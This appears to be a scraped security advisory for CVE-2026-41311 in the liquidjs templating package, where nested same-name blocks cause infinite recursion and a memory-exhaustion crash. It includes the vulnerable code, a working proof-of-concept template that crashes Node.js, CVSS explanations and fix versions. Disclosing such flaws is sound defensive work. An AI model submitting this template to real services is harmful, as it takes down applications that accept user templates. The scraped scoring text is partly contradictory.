CVE-2026-41311
ADVISORY - githubSummary
Summary
A circular block reference in {% layout %} / {% block %} causes an infinite recursive loop, consuming all available memory (~4GB) and crashing the Node.js process with FATAL ERROR: JavaScript heap out of memory. This allows any user who can submit a Liquid template to perform a Denial of Service attack.
Details
In src/tags/block.ts, during OUTPUT mode, each block looks up its render function from ctx.getRegister('blocks')[this.block]. When a block with name a is nested inside another block also named a in a child template, the inner block finds the outer block's render function and calls it. The outer block's templates contain the inner block again, creating infinite recursion with no termination condition.
Relevant code (src/tags/block.ts, getBlockRender method):
private getBlockRender (ctx: Context) {
const { liquid, templates } = this
const renderChild = ctx.getRegister('blocks')[this.block]
const renderCurrent = function * (superBlock: BlockDrop, emitter: Emitter) {
ctx.push({ block: superBlock })
yield liquid.renderer.renderTemplates(templates, ctx, emitter)
ctx.pop()
}
return renderChild
? (superBlock: BlockDrop, emitter: Emitter) => renderChild(
new BlockDrop(
(emitter: Emitter) => renderCurrent(superBlock, emitter)
),
emitter)
: renderCurrent
}
When renderChild exists (same-name block found), it calls renderChild which re-renders templates containing the nested block, which again finds renderChild, and so on — infinite loop.
PoC
1. Create a layout file (layout.html):
<header>{% block a %}default-a{% endblock %}</header>
<main>{% block b %}default-b{% endblock %}</main>
<footer>{% block c %}default-c{% endblock %}</footer>
2. Create a template that uses the layout:
{% layout "layout" %}
{% block a %}outer-a {% block a %}inner-a{% endblock %}{% endblock %}
{% block b %}content-b{% endblock %}
{% block c %}content-c{% endblock %}
3. Render:
const { Liquid } = require('liquidjs')
const liquid = new Liquid({ root: './', extname: '.html' })
liquid.renderFile('template').then(console.log)
// Result: process hangs, memory grows to ~4GB, then crashes with OOM
The anonymous block variant also triggers the same issue:
{% layout "parent" %}
{%block%}A{%block%}B{%endblock%}{%endblock%}
Impact
Denial of Service (DoS). Any application that accepts user-provided or user-influenced Liquid templates — such as CMS platforms, email template builders, multi-tenant SaaS products, or static site generators with untrusted input — can be crashed by a single malicious template. The attack requires no authentication beyond the ability to submit a template, and no special configuration. The Node.js process is killed by the OS due to memory exhaustion, causing complete service disruption.
Common Weakness Enumeration (CWE)
Uncontrolled Recursion
GitHub
3.9
CVSS SCORE
7.5high| Package | Type | OS Name | OS Version | Affected Ranges | Fix Versions |
|---|---|---|---|---|---|
| liquidjs | npm | - | - | <10.25.7 | 10.25.7 |
CVSS:3 Severity and metrics
The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.
The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery (IPv6) flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
The vulnerable system can be exploited without interaction from any user.
An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
There is no loss of confidentiality.
There is no loss of trust or accuracy within the impacted component.
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component.